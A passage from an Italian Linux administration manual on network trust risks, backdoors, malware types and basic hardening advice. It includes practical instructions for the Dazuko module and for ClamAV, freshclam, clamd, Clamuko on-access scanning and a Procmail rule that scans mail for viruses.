Il caso limite di fiducia incondizionata è dato dalla configurazione dei servizi di accesso remoto tramite '**`rlogin`**' o '**`rsh`**', in modo tale da non richiedere alcuna parola d'ordine. Nello stesso modo va visto il servizio NFS e la concentrazione amministrativa del NIS.

Quando la fiducia si basa sul semplice riconoscimento del nome del cliente, il punto debole di questo rapporto sta nella gestione dei servizi che si occupano di risolvere questi nomi in indirizzi IP: DNS o NIS. L'aggressore che dovesse essere in grado di prendere il controllo dei sistemi che si occupano di questi servizi, avrebbe la possibilità di modificarli per i suoi scopi. La cosa diventa ancora più grave quando la gestione di questi servizi (DNS) è esterna all'ambiente controllato dall'amministratore che utilizza tale sistema di fiducia.

Eventualmente, i rapporti di fiducia possono essere basati, piuttosto che sui nomi, sugli indirizzi IP. Ciò servirebbe a ridurre i rischi, ma non a sufficienza: se il transito (il *routing*) non è completamente sotto controllo, qualcuno potrebbe dirottare gli instradamenti a proprio vantaggio.

48.1.5.2 Chiavi di identificazione

Per ridurre i rischi dovuti all'uso della fiducia incondizionata, si possono proteggere alcuni servizi attraverso chiavi di riconoscimento (come nel caso dei protocolli SSL/TLS e SSH), con cui il servente può identificare il cliente, mentre lo stesso cliente può verificare che il servente sia effettivamente la macchina che si intende contattare.

Il meccanismo si basa sulla definizione di una coppia di chiavi: la ***chiave privata*** e la ***chiave pubblica***. L'elaboratore «A» crea una coppia di chiavi che vengono usate in seguito per certificare la propria identità: la chiave privata non viene divulgata e serve per generare di volta in volta la prova della propria identità, la chiave pubblica viene fornita a tutti gli altri elaboratori che hanno la necessità di verificare l'identità di «A». Quando due elaboratori vogliono potersi identificare a vicenda, entrambi devono essersi scambiati la chiave pubblica rispettiva (sezione 49.1).

48.1.5.3 Cifratura delle comunicazioni

Quando esiste un reticolo di fiducia reciproca tra diversi nodi, anche se questi possono avere un sistema sicuro di identificazione, resta il problema del transito dei dati lungo la rete, i quali potrebbero essere intercettati da un aggressore. Infatti, non bisogna trascurare la possibilità che qualcuno riesca a introdursi fisicamente nella rete locale (anche se apparentemente sicura), introducendo un piccolo elaboratore, nascosto opportunamente, con lo scopo di registrare tutte le transazioni, da cui trarre poi informazioni importanti (quali per esempio le parole d'ordine utilizzate per l'accesso remoto).

A questo si può porre rimedio solo con un buon sistema di cifratura, come avviene attraverso il protocollo SSH. Tuttavia, il problema rimane per tutti quei servizi per i quali non è prevista tale possibilità.

48.1.6 Backdoor: cosa ci si può attendere da un sistema compromesso

Le porte posteriori, o le botole, o *backdoor*, sono delle anomalie «naturali», o create ad arte, per permettere a qualcuno di accedere o utilizzare servizi in modo riservato. In pratica, è l'equivalente di un passaggio segreto, sconosciuto al proprietario del castello, attraverso il quale altri possono entrare quando vogliono senza essere notati.

Un aggressore che sia riuscito ad accedere in qualche modo a un sistema, potrebbe prendersi la briga di consolidare la posizione raggiunta ritoccando la configurazione o sostituendo gli eseguibili di alcuni servizi, allo scopo di garantirsi un accesso privilegiato, possibilmente invisibile attraverso i mezzi normali.

Attraverso Internet è possibile procurarsi pacchetti di programmi modificati ad arte per ottenere tali scopi, noti normalmente con il nome *rootkit*. Quindi, il problema è più serio di quanto si possa immaginare a prima vista.

48.1.7 Regole dettate dal buon senso

La soluzione assoluta che garantisca la sicurezza dei sistemi connessi in rete non esiste. Tuttavia si possono tenere a mente alcune regole elementari, dettate dal buon senso. L'elenco di suggerimenti che appare di seguito è ispirato in modo particolare da *Improving the Security of your site by breaking into it* di Dan Farmer e Wietse Venema.

- Le reti locali vanno organizzate almeno a due livelli, isolando la porzione esposta all'esterno (DMZ) da quella interna.
- Sarebbe bene escludere il servizio Finger. Se ciò non fosse possibile, sarebbe almeno il caso di utilizzarne una versione modificata che non fornisca informazioni troppo delicate come la directory personale e l'origine dell'ultimo accesso.
- Non va usato il NIS, a meno che ciò sia necessario.
- Se viene attivato il servizio NFS, non devono essere esportate directory in modo incondizionato a qualunque nodo (attualmente, i serventi NFS nei sistemi GNU/Linux non lo consentono in ogni caso). Inoltre, è bene cercare almeno di limitare l'esportazione alla sola lettura.

  Non si deve esportare assolutamente la directory radice.

- Evitare di fornire servizi attraverso programmi ben conosciuti per i loro problemi di sicurezza. Sendmail è un esempio tipico di un tale programma così pericoloso.
- Occorre porre un'attenzione particolare alla protezione dei serventi che offrono servizi delicati come DNS, NFS, NIS e altro. Su queste macchine sarebbe opportuno fossero ammessi ad accedere solo utenti che hanno un ruolo amministrativo.
- È necessario esaminare attentamente i servizi offerti, spesso in modo predefinito, attraverso l'analisi del file '`/etc/inetd.conf`', l'interrogazione delle RPC (il Portmapper) e l'elenco dei processi (in quanto alcuni servizi potrebbero essere indipendenti sia dal supervisore dei servizi di rete che dal sistema delle RPC).

  È importante che siano attivi solo i servizi necessari.
- Quando possibile è opportuno utilizzare l'avvio dei servizi attraverso il controllo del supervisore dei servizi di rete e del TCP wrapper. Eventualmente può essere utile il monitorarne le richieste di servizi non forniti, attraverso l'ausilio del TCP wrapper (questo particolare viene chiarito nella sezione 48.4).
- Ridurre o eliminare del tutto la «fiducia» basata esclusivamente sul nome del cliente.
- Utilizzare parole d'ordine oscurate e un comando '**`passwd`**' che non consenta l'utilizzo di parole d'ordine troppo semplici (generalmente è già così nella maggior parte delle distribuzioni GNU/Linux).
- Fare a meno di gestire gruppi di lavoro abbinati a parole d'ordine: una parola d'ordine di gruppo è un segreto senza valore.
- Disabilitare gli utenti di sistema ('**`bin`**', '**`daemon`**', ecc.); disabilitare o eliminare gli utenti comuni che non abbiano utilizzato il sistema da tanto tempo (una gestione corretta delle parole d'ordine oscurate può automatizzare questo meccanismo.

- Leggere la documentazione disponibile riferita al problema della sicurezza e tenersi aggiornati il più possibile, anche iscrivendosi ai gruppi di discussione che trattano l'argomento.
- Installare gli aggiornamenti riferiti alla sicurezza il più presto possibile.
- Scandire regolarmente il file system alla ricerca di alterazioni nei file. Per questo si utilizzano programmi come AIDE.

Figura 48.11. Separazione tra la rete interna da proteggere e la zona demilitarizzata (DMZ).

48.2 Virus, vermi e cavalli di Troia

Nello studio dei problemi di sicurezza legati all'uso di strumenti informatici, non vanno trascurati i virus e il software modificato ad arte per arrecare qualche tipo di danno. Di per sé, non è molto importante classificare il software nocivo, se non per il fatto che questo permette di avere una visione un po' più chiara del problema. In generale si distinguono due tipi fondamentali: i ***virus*** e i ***cavalli di Troia***. Eventualmente si considerano anche i ***vermi***, come sottogruppo particolare dei virus.

Il virus è un pezzo di codice in grado di riprodursi nel sistema, attaccandosi ai programmi già esistenti, agli script, sostituendosi al settore di avvio di un disco o di una partizione, inserendosi all'interno di file di dati che prevedono la presenza di macro-istruzioni. Naturalmente, un virus non è necessariamente in grado di fare tutto questo simultaneamente: dipende da chi lo realizza il modo in cui può riuscire a riprodursi.

Un cavallo di Troia, o troiano (*trojan*), è un programma che di per sé svolgerebbe una funzione più o meno utile, nascondendo però una parte di codice indesiderabile. Il classico cavallo di Troia è un gioco, che mentre viene utilizzato fa anche qualcosa di diverso, come cancellare dei file, oppure spedire all'esterno informazioni sulla configurazione del proprio sistema. Un

cavallo di Troia potrebbe essere anche un programma normale che sia stato infettato ad arte con un virus, allo scopo di diffondere il virus stesso.

Il verme è un sottoinsieme specifico dei virus, il cui intento principale è quello di diffondersi attraverso la rete. Generalmente, anche se non sempre, il verme si cancella una volta che è riuscito a copiarsi all'esterno.

Si comprende facilmente il senso di un cavallo di Troia. Come sempre vale la solita raccomandazione: «non accettare nulla -- caramelle o qualunque altra cosa -- dagli estranei». Infatti, una caramella può essere avvelenata, un oggetto appuntito potrebbe essere stato infettato con qualche sostanza,[3] così come un programma può essere stato alterato ad arte. Purtroppo, spesso non ci sono alternative alla «fiducia», soprattutto quando il programma in questione è accessibile solo in forma di eseguibile senza sorgente.

Ad aggravare il problema, le normative di vari paesi vietano espressamente la decompilazione, cioè lo studio dei programmi a partire dalla loro forma eseguibile, cosa che rende difficile una verifica a seguito dell'insorgere di un qualche sospetto. L'unica possibilità per salvaguardarsi di fronte a questo problema è l'uso di programmi provvisti di sorgente, verificati e compilati personalmente.[4] Evidentemente non si tratta di una soluzione accessibile a tutti, sia per le capacità necessarie, sia per il tempo che ciò richiede. Purtroppo, però, resta l'unica, se si vuole escludere la fiducia.

La fiducia, ammesso che ci sia, non basta, perché occorre verificare che il tale programma non sia stato manomesso da una persona differente da quella di cui ci si fida. Infatti, un programma normale potrebbe diventare un cavallo di Troia contenente un virus, o comunque contenere qualcosa di aggiunto per qualche fine. Questa verifica può essere fatta attraverso l'uso di una firma elettronica (si veda a questo proposito la sezione 49.1).

Una volta compreso il pericolo legato ai programmi, si può credere di avere risolto il problema se si evita di installarne di nuovi. Tuttavia, un «programma» può essere inserito anche all'interno di file di dati, nel momento in cui questo può diventare uno script o un insieme di macro-istruzioni di qualche tipo.

È nota l'esistenza di virus «macro», costituiti da macro-istruzioni contenute in documenti di programmi di scrittura o in fogli elettronici. Nello stesso modo non è da escludere la possibilità di acquisire un documento TeX o anche PostScript e PDF, contenente istruzioni che possono arrecare dei danni nel momento della composizione, della visualizzazione o della stampa.

Sotto questo aspetto, i problemi maggiori si avvertono quando i programmi di questo tipo possono essere inseriti in documenti a cui si accede attraverso la rete. Per esempio, una pagina HTML potrebbe incorporare o richiamare un programma JavaScript,[5] o peggio un'applicazione Java o SWF (Flash). In questa situazione, solo il programma di navigazione può impedire che venga fatto qualcosa di dannoso, ammesso che possa essere in grado di farlo. Generalmente, l'unica alternativa è impedire l'esecuzione di script e programmi esterni, accettando tutte le conseguenze che ciò comporta, dato che in questo modo diventa impossibile accedere ad alcuni servizi.

Un'ultima considerazione va fatta nei confronti dei programmi allegati a messaggi di posta elettronica. Nel momento in cui il programma di lettura della posta dovesse essere «troppo» amichevole, si potrebbe arrivare a estrarre e installare tali programmi, quasi senza rendersene conto. Sono noti gli attacchi di questo tipo che colpiscono inesorabilmente gli utenti più ingenui.

In linea di principio, non ci sono difese che tengano contro virus o cavalli di Troia realizzati

con perizia. Tuttavia, qualche accorgimento può essere utile, soprattutto se si ritiene che il proprio sistema operativo di partenza sia abbastanza «sicuro» (cosa che comunque non si può dimostrare). In generale valgono le solite raccomandazioni che si fanno in queste occasioni.

- Evitare di utilizzare software che non sia stato compilato personalmente, dopo un esame attento dei sorgenti, o comunque, evitare di utilizzare software compilato da persone sconosciute e anche da persone conosciute quando non si può verificare l'autenticità dell'origine.
- Evitare di abilitare l'esecuzione di script e programmi incorporati in documenti ottenuti attraverso la rete (file HTML e posta elettronica principalmente).
- Evitare di usare il sistema operativo in qualità di utente '**`root`**' quando non serve: un virus avrebbe i privilegi necessari per infettare tutto il sistema, mentre un cavallo di Troia avrebbe accesso a tutti i file di dispositivo.
- Utilizzare un sistema di scansione realizzato appositamente per verificare le alterazioni nei file, come AIDE e (sezione 48.6).

48.2.1 Dazuko

Dazuko[6] (*Dateizugriffskontrolle*, ovvero: «controllo di accesso ai file») è il nome di un modulo per kernel Linux e FreeBSD, in grado di fornire a un terzo programma le informazioni sui file che vengono aperti durante il funzionamento del sistema operativo. Questo meccanismo viene sfruttato proprio dai programmi che, prima dell'accesso a certi file, devono eseguire dei controlli, come nel caso degli antivirus.

Il kernel Linux deve essere stato predisposto con l'attivazione di alcune voci nel menù *`Security options`*:

```
[ ] Enable access key retention support
[*] Enable different security models
[ ]   Socket and Networking Security Hooks
<M>   Default Linux Capabilities
< >   Root Plug Support
<M>   BSD Secure Levels
```

Ciò che si vede nell'esempio rappresenta il minimo indispensabile per poter comunicare con il modulo Dazuko.

Una volta compilato e installato il kernel Linux, è possibile procedere alla compilazione e installazione del modulo Dazuko, i cui sorgenti si ottengono da ⟨http://www.dazuko.org⟩.

Perché la compilazione di Dazuko avvenga con successo, è necessario che il kernel in funzione sia quello per il quale si vuole produrre il modulo; inoltre, il collegamento simbolico '`/lib/modules/`***versione***`/build`' deve puntare correttamente alla directory contenente i sorgenti del kernel stesso.

Supponendo di avere scaricato il file '`dazuko-2.2.1.tar.gz`', si procede nel modo seguente:

`$` **`tar xzvf dazuko-2.2.1.tar.gz`** [*Invio*]

$ **cd dazuko-2.2.1** [*Invio*]

$ **./configure** [*Invio*]

$ **make** [*Invio*]

L'ultima fase richiede i privilegi dell'amministratore del sistema:

$ **su root -c "make install"** [*Invio*]

Se tutto procede senza intoppi, si ottiene il file '/lib/modules/***versione***/extra/dazuko.ko'.

La procedura di installazione del modulo prevede anche la creazione di un file di dispositivo speciale: '/dev/dazuko'. Nel caso in cui ci dovessero essere dei problemi, conviene sapere che si può ricreare tale file con i comandi seguenti:

mknod /dev/dazuko c 254 0 [*Invio*]

chown root:root /dev/dazuko [*Invio*]

chmod 660 /dev/dazuko [*Invio*]

Il modulo Dazuko va caricato rispettando una sequenza precisa, altrimenti viene rifiutato. In breve, conviene usare i comandi seguenti:

rmmod capability [*Invio*]

modprobe dazuko [*Invio*]

modprobe capability [*Invio*]

Ecco come dovrebbe apparire nell'elenco dei moduli attivi:

lsmod [*Invio*]

```
Module                  Size  Used by
...
capability              4872  0
dazuko                 55824  2
...
commoncap               7168  2 capability,dazuko
...
```

48.2.2 Clamav

Clamav[7] è un sistema di individuazione di virus informatici abbastanza completo, ma senza la possibilità di rimuovere il codice dannoso dai file infetti. Per la scansione manuale dei file, alla ricerca di virus o comunque di codice pericoloso noto, si usa il programma '**clamscan**':

clamscan [***opzioni***] [***file*** | ***directory***] ...

Come si vede dal modello sintattico, alla fine della riga di comando si annotano i file o le directory da scandire, ma in mancanza di tale indicazione, si ottiene la scansione della directory corrente. Si osservi però che la scansione delle directory non prevede la ricorsione nelle sottodirectory successive, a meno di usare espressamente l'opzione '**-r**'.

Tabella 48.14. Alcune opzioni.

Opzione	Descrizione
`--quiet`	Fa sì che il programma funzioni in modo «silenzioso», mostrando solo i messaggi di errore.
`-d` ***file* | *directory*** `--database=`***file* | *directory***	Indica di utilizzare un file particolare o il contenuto di una directory come elenco delle impronte virali di riconoscimento dei virus.
`-l` ***file*** `--log=`***file***	Richiede di salvare una copia del rapporto di scansione nel file indicato.
`-r` `--recursive`	Richiede si scandire in modo ricorsivo anche le sottodirectory.
`--bell`	Richiede di generare un segnale acustico al riconoscimento di un virus.
`-i` `--infected`	Richiede di mostrare soltanto i file che risultano infetti.
`--remove`	Richiede di cancellare i file che sono o sembrano essere infetti.
`--move=`***directory***	Richiede di spostare nella directory indicata i file che sono o sembrano essere infetti.

Segue la descrizione di alcuni esempi.

- `$` **`clamscan`** [*Invio*]

  Scandisce i file contenuti nella directory corrente (le sottodirectory vengono tralasciate).

- `$` **`clamscan /bin/b*`** [*Invio*]

  Scandisce i file che corrispondono al modello.

- `$` **`cat mio_file | clamscan -`** [*Invio*]

  Scandisce un file ricevendolo dallo standard input.

- `$` **`clamscan -r /home`** [*Invio*]

  Scandisce tutto il contenuto della directory '`/home/`', incluse le sottodirectory.

48.2.2.1 Aggiornamento delle impronte virali

Un programma antivirus, per poter essere efficace, richiede di avere un aggiornamento frequente delle impronte virali, ovvero delle stringhe di riconoscimento dei virus o comunque del codice dannoso. In un'installazione normale di Clamav, i file che contengono tali informazioni vengono conservati nella directory '`/var/lib/clamav/`'.

La distribuzione dei file contenenti le impronte virali avviene attraverso una serie di elaboratori a cui si può accedere con il nome generico *`database.clamav.net`*, il quale si trasforma automaticamente in un indirizzo abbastanza «vicino»:

$ **`host database.clamav.net`** [*Invio*]

```
database.clamav.net is an alias for db.local.clamav.net.
db.local.clamav.net is an alias for db.it.clamav.net.
db.it.clamav.net has address 213.92.8.5
db.it.clamav.net has address 159.149.155.69
db.it.clamav.net has address 193.206.139.37
```

Da questo indirizzo si possono prelevare i file '`main.cvd`' e '`daily.cvd`', ovviamente quando questi risultano aggiornati:

⟨*http://database.clamav.net/main.cvd* ⟩

⟨*http://database.clamav.net/daily.cvd* ⟩

Come si può intuire, il file '`main.cvd`' è quello complessivo, con tutte le impronte virali conosciute, aggiornato a cadenza mensile, mentre il file '`daily.cvd`' viene aggiornato ogni giorno, con le impronte virali nuove che non sono ancora presenti nel primo file. Questi due file vanno collocati nella directory '`/var/lib/clamav/`', o nella directory equivalente prevista nel proprio sistema operativo.

Per automatizzare l'aggiornamento della propria copia di impronte virali, Clamav prevede il programma '**`freshclam`**', a cui si associa il file di configurazione '`/etc/clamav/freshclam.conf`':

```
freshclam [opzioni]
```

In condizioni normali, avviando il programma senza opzioni, si ottiene l'aggiornamento dei file delle impronte virali, nella directory predefinita ('`/var/lib/clamav/`'), ma ciò richiede che il file di configurazione contenga almeno la direttiva seguente:

```
DatabaseMirror database.clamav.net
```

Il programma '**`freshclam`**' non richiede privilegi particolari per funzionare, a parte quelli necessari a poter aggiornare i file delle impronte virali. Di solito si predispone l'utente fittizio '**`clamav`**' e si fa in modo che i programmi di Clamav funzionino con i privilegi concessi a tale utente.

Tabella 48.17. Alcune opzioni

Opzione	Descrizione
`--quiet`	Fa sì che vengano emessi soltanto i messaggi di errore.
`-l` ***file*** `--log=`***file***	Fa in modo di salvare il rapporto sullo scarico delle impronte virali nel file indicato.
`--datadir=`***directory***	Specifica esplicitamente la directory all'interno della quale salvare i file delle impronte virali aggiornate.
`-u` ***utente*** `--user=`***utente***	Quando il programma viene avviato con i privilegi dell'utente '**`root`**', questa opzione fa sì che i privilegi vengano ridotti a quelli dell'utente indicato.
`-d` `--daemon`	Fa sì che il programma rimanga in funzione, come demone, ma richiede anche l'uso dell'opzione '**`-c`**'.
`-c` ***n*** `--checks=`***n***	Questa opzione viene usata assieme a '**`-d`**' e specifica quante volte al giorno controllare per l'esistenza di aggiornamenti alle impronte virali.

Segue la descrizione di alcuni esempi.

- `$` **`freshclam`** [*Invio*]

  Aggiorna i file delle impronte virali nella directory predefinita, in base alla configurazione. Si presume che il programma sia avviato con i privilegi necessari per poter salvare tali file.

- `$` **`freshclam --datadir=$HOME`** [*Invio*]

  Scarica i file delle impronte virali nella directory personale dell'utente.

- `$` **`freshclam -d -c 3`** [*Invio*]

  Avvia il programma come demone, richiedendo di eseguire tre controlli al giorno.

- `#` **`freshclam -u clamav`** [*Invio*]

  Avvia il programma in modo da acquisire i privilegi dell'utente '**`clamav`**'.

Tabella 48.18. Alcune direttive di configurazione.

Opzione	Descrizione
`DatabaseMirror` ***nome_di_dominio***	Specifica il nome di dominio dell'elaboratore a cui rivolgersi per l'aggiornamento delle impronte virali. In generale, conviene scrivere il nome *`database.clamav.net`*.
`DatabaseOwner` ***utente***	Quando '**`freshclam`**' viene avviato con i privilegi dell'utente '**`root`**', fa in modo che i privilegi effettivi vengano ridotti a quelli dell'utente indicato.

Opzione	Descrizione
`DatabaseDirectory` ***directory***	Specifica la directory che deve contenere i file delle impronte virali.
`UpdateLogFile` ***file***	Fa in modo di salvare il rapporto sullo scarico delle impronte virali nel file indicato.

48.2.2.2 Scansioni più o meno automatiche

Per facilitare la richiesta di una scansione esiste anche il demone '**`clamd`**', il cui funzionamento viene controllato esclusivamente attraverso un file di configurazione: '`/etc/clamav/clamd.conf`'. Di norma, il demone viene avviato con i privilegi dell'utente '**`root`**', salvo ridurli poi in base alla configurazione.

```
clamd [-c file_di_configurazione | --config-file=file_di_configurazione]
```

Come si vede dal modello sintattico, con l'opzione '**`-c`**' è possibile dichiarare un file di configurazione diverso da quello predefinito in fase di compilazione del programma.

Tabella 48.19. Alcune direttive di configurazione.

Opzione	Descrizione
`User` ***utente***	Fa sì che il demone funzioni con i privilegi dell'utente indicato. Di solito si tratta dell'utente '**`clamav`**', salvo i casi in cui è proprio necessario mantenere i privilegi dell'utente '**`root`**'.
`LogFile` ***file***	Specifica il file da usare per annotare le operazioni svolte. Di solito si tratta di '`/var/log/clamav/clamav.log`'.
`DatabaseDirectory` ***directory***	Specifica la directory che contiene i file delle impronte virali.

In generale, '**`clamd`**' da solo non serve: lo si installa sempre solo per consentire ad altri programmi di interagire con il sistema di Clamav. Pertanto, anche la configurazione dipende dalle esigenze specifiche che si vengono a presentare.

48.2.2.3 Utilizzo di «clamdscan»

Per eseguire una scansione «manuale», sfruttando però il demone '**`clamd`**', si può utilizzare il programma '**`clamdscan`**'. Questo funziona sostanzialmente come '**`clamscan`**', ma con la differenza che il suo avvio è meno pesante:

```
clamdscan [opzioni] [file | directory]...
```

Alcune delle opzioni di '**`clamscan`**' sono prive di significato per '**`clamdscan`**'.

Tabella 48.20. Alcune opzioni.

Opzione	Descrizione
`--quiet`	Fa sì che il programma funzioni in modo «silenzioso», mostrando solo i messaggi di errore.
`-l` *file* `--log=`*file*	Richiede di salvare una copia del rapporto di scansione nel file indicato.
`--remove`	Richiede di cancellare i file che sono o sembrano essere infetti.
`--move=`***directory***	Richiede di spostare nella directory indicata i file che sono o sembrano essere infetti.

Il programma '**`clamdscan`**', avvalendosi del demone '**`clamd`**', risente dei permessi con i quali il demone stesso è avviato. In pratica, se '**`clamd`**' funziona con i privilegi di un utente fittizio che non ha accesso a certi file, non può controllarne il contenuto.

Segue la descrizione di alcuni esempi.

- `$` **`clamdscan`** [*Invio*]

  Scandisce i file contenuti nella directory corrente (le sottodirectory vengono tralasciate).

- `$` **`clamdscan /bin/b*`** [*Invio*]

  Scandisce i file che corrispondono al modello.

- `$` **`cat mio_file | clamdscan -`** [*Invio*]

  Scandisce un file ricevendolo dallo standard input.

48.2.2.4 Verifica del funzionamento

Assieme a Clamav vengono distribuiti anche dei file innocui, ma individuabili come affetti da un virus. Di solito si collocano nella directory '`/usr/share/clamav-testfiles/`':

`$` **`clamscan /usr/share/clamav-testfiles`** [*Invio*]

```
/usr/share/clamav-testfiles/clam-error.rar: RAR module failure
/usr/share/clamav-testfiles/debugm.c: OK
/usr/share/clamav-testfiles/clam.cab: Unable to open file or directory
/usr/share/clamav-testfiles/clam.exe.bz2: ClamAV-Test-File FOUND
/usr/share/clamav-testfiles/clam.exe: ClamAV-Test-File FOUND
/usr/share/clamav-testfiles/clam.rar: ClamAV-Test-File FOUND
/usr/share/clamav-testfiles/clam.zip: ClamAV-Test-File FOUND

----------- SCAN SUMMARY -----------
Known viruses: 60743
Engine version: 0.88.2
Scanned directories: 1
Scanned files: 7
Infected files: 4
Data scanned: 0.00 MB
Time: 2.601 sec (0 m 2 s)
```

48.2.2.5 Utilizzare Procmail per scandire automaticamente i messaggi di posta elettronica

Con l'aiuto di Procmail (sezione 45.15) è possibile utilizzare Clamav, per scandire i messaggi prima del recapito finale all'utente. Si possono inserire nel file '`~/.procmailrc`' le direttive seguenti:

```
#
# Scan for viruses
#
:0
VIRUS=|clamdscan --no-summary --stdout -

:0
* VIRUS ?? ^.*FOUND
virus
```

Nella prima fase viene avviato il programma '**`clamdscan`**' (con le opzioni che si vedono), inviandogli il messaggio di posta elettronica attraverso lo standard input. Il risultato della scansione è un testo descrittivo che viene emesso dal programma attraverso lo standard output, il quale così viene assegnato alla variabile ***VIRUS***. Nella seconda fase viene preso in considerazione lo stesso messaggio di posta elettronica, verificando che la variabile ***VIRUS*** contenga la stringa '**`FOUND`**' alla fine: se c'è la corrispondenza, il messaggio viene messo nel file o nella directory '`virus`'.

Figura 48.23. Spiegazione dettagliata.

```
:0
VIRUS=|clamdscan --no-summary --stdout -
```

inizio prima ricetta

variabile a cui assegnare lo standard output del comando

comando da esegure che riceve dallo standard input il messaggio da analizzare e restituisce attraverso lo standard output un messaggio da verificare, tipo:
`stream: ClamAV-Test-File FOUND`

```
:0
* VIRUS ??      ^.*FOUND
virus
```

inizio seconda ricetta

dichiara l'inizio di una condizione

espressione regolare da applicare al contenuto della variabile che appare alla sinistra

l'espressione regolare verifica la presenza della parola FOUND alla fine del contenuto della variabile

viene confrontato il contenuto della variabile con l'espressione regolare che appare alla destra

file o directory dove depositare i messaggi che corrispondono alla condizione

48.2.3 Clamuko

Clamav può utilizzare le funzionalità offerte dal modulo Dazuko per controllare al volo i file a cui si sta per accedere (attraverso il sistema operativo). Il nome Clamuko rappresenta una funzione contenuta nel demone '**`clamd`**', specializzata in questa comunicazione con Dazuko.

Nella sezione 48.2.1 è descritto il procedimento necessario a compilare, installare e attivare il modulo Dazuko per un kernel Linux. Naturalmente, il modulo Dazuko deve essere attivo prima che il demone '**`clamd`**' sia messo in funzione.

48.2.3.1 Preparazione del demone «clamd»

È probabile che il demone '**`clamd`**' sia stato compilato per la propria distribuzione GNU/Linux escludendo Clamuko. In pratica, potrebbe essere stato usato lo script '**`configure`**' con l'opzione '**`--disable-clamuko`**'. Se le cose stanno così, è necessario ricompilare '**`clamd`**' nel modo appropriato.

A titolo di esempio vengono sintetizzati i passaggi necessari a ricompilare il pacchetto '**`clamav`**' della distribuzione GNU/Linux Debian (si veda la sezione 7.8 per una descrizione più dettagliata).

1. Si acquisiscono temporaneamente i privilegi dell'amministratore:

   `$` **`su`** [*Invio*]

2. Si installano gli strumenti di sviluppo:

   `#` **`apt-get install fakeroot build-essential`** [*Invio*]

   `#` **`apt-get build-dep clamav`** [*Invio*]

3. Si torna a operare in qualità di utente comune:

   `#` **`exit`** [*Invio*]

4. Si acquisiscono i sorgenti nella directory corrente:

   $ **apt-get source clamav** [*Invio*]

5. Si modifica il file '`debian/rules`':

   $ **cd clamav-*versione*** [*Invio*]

   $ **vi debian/rules** [*Invio*]

   Ovviamente si può usare qualunque altro programma per la modifica di file di testo. Ciò che va modificato sono le righe in cui si fa riferimento allo script '**`configure`**', dove va eliminata l'opzione '**`--disable-clamuko`**'.

6. Si ricompila e si riassembla un nuovo pacchetto binario:

   $ **dpkg-buildpackage -rfakeroot -uc -us** [*Invio*]

7. Si installa:

   $ **cd ..** [*Invio*]

   $ **su** [*Invio*]

   # **dpkg -i clamav-daemom_*.deb** [*Invio*]

48.2.3.2 Configurazione del demone «clamd»

La configurazione del demone '**`clamd`**' richiede l'uso di direttive speciali, oltre al fatto che **deve funzionare** necessariamente **con i privilegi dell'utente '`root`'**. L'esempio seguente mostra le direttive salienti del file '`/etc/clamav/clamd.conf`':

```
…
#User clamav
…
ClamukoScanOnAccess
ClamukoScanOnOpen
ClamukoScanOnClose
ClamukoScanOnExec
ClamukoIncludePath /
ClamukoExcludePath /proc
ClamukoExcludePath /sys
ClamukoExcludePath /dev
#ClamukoMaxFileSize 5M
#VirusEvent echo found virus %v | mail root@localhost &
VirusEvent logger found virus %v &
```

Per cominciare si vede che la direttiva '**`User`**' è commentata, in modo da mantenere i privilegi dell'utente '**`root`**' durante il funzionamento del demone. La direttiva '**`ClamukoScanOnAccess`**' attiva le funzionalità Clamuko, mentre le tre direttive successive attivano la scansione nelle varie fasi di accesso ai file. Le direttive '**`ClamukoIncludePath`**' servono a indicare i percorsi a partire dai quali eseguire il controllo (si intendono anche le sottodirectory), così come le direttive '**`ClamukoExcludePath`**' servono a escludere dei percorsi.

Si osservi che di norma è bene limitare i percorsi da controllare all'indispensabile, per evitare di appesantire troppo il funzionamento del sistema operativo:

```
…
ClamukoIncludePath /home
ClamukoIncludePath /var/spool/mail
ClamukoIncludePath /var/mail
ClamukoIncludePath /var/tmp
ClamukoIncludePath /tmp
…
```

Il demone '**clamd**' si limita a far impedire l'accesso ai file che risultano o sembrano essere infetti, annotando il fatto nel proprio registro (quello che si definisce con la direttiva '**LogFile**'). Per fare in modo che il fatto venga percepito anche in altro modo, si può usare la direttiva '**VirusEvent**', che nell'esempio si limita a copiare l'informazione nel registro del sistema, attraverso il programma '**logger**'. Si può intuire che '**%v**' sia una variabile che si espande automaticamente nel nome del virus individuato.

48.2.3.3 Sequenza di attivazione e verifica del funzionamento

Come già accennato, prima di avviare il demone '**clamd**', è necessario che sia già attivo il modulo '**dazuko**'. A titolo di esempio, l'avvio di Clamuko potrebbe avvenire nel modo seguente:

rmmod capability [*Invio*]

modprobe dazuko [*Invio*]

modprobe capability [*Invio*]

clamd [*Invio*]

Naturalmente, per verificare che Clamuko sia attivo effettivamente si può dare un'occhiata al registro tenuto da '**clamd**' (dovrebbe essere il file '/var/log/clamav/clamav.log'):

```
…
Sun Jul  2 10:45:40 2010 -> Clamuko: Correctly registered with Dazuko.
Sun Jul  2 10:45:40 2010 -> Clamuko: Scan-on-open mode activated.
Sun Jul  2 10:45:40 2010 -> Clamuko: Scan-on-close mode activated.
Sun Jul  2 10:45:40 2010 -> Clamuko: Scan-on-exec mode activated.
Sun Jul  2 10:45:40 2010 -> Clamuko: Included path …
…
Sun Jul  2 10:45:40 2010 -> Clamuko: Max file size limited to 5242880 bytes.
…
```

Inoltre, tentando di leggere un file contenente un'impronta virale conosciuta, come nel caso del file 'clam.exe' di esempio, purché sia collocato in uno dei percorsi previsti, si deve ottenere un errore dovuto all'impossibilità di portare a termine l'operazione di accesso:

$ **cat clam.exe** [*Invio*]

```
cat: clam.exe: Operation not permitted
```

Poi, nel registro di '**clamd**', si deve vedere l'esito della scansione:

```
...
Sun Jul  2 11:34:44 2010 -> Clamuko: /home/tizio/clam.exe: ↩
↪ClamAV-Test-File FOUND
...
```

48.2.3.4 Problemi

Il sistema di protezione di Clamuko può essere efficace, ma crea rallentamenti eccessivi ogni volta che un programma deve aprire un file di dimensioni abbastanza grandi. Di conseguenza, è un sistema poco pratico e spesso anche inutilizzabile, a meno di ridurre la protezione ai file molto piccoli.

Un altro problema significativo riguarda l'uso del sistema NFS per la condivisione dei file attraverso la rete: se si utilizza il servizio gestito internamente al kernel Linux, il controllo avviene in modo intermittente.

48.3 Protocollo IDENT

In quasi tutte le distribuzioni GNU, nella configurazione del supervisore dei servizi di rete è prevista l'attivazione del servizio IDENT, corrispondente alla porta '**auth**' (113). Nel caso di Inetd, il file '`/etc/inetd.conf`' potrebbe contenere una riga simile a quella seguente:

```
...
auth    stream   tcp   nowait   identd   /usr/sbin/identd   identd
...
```

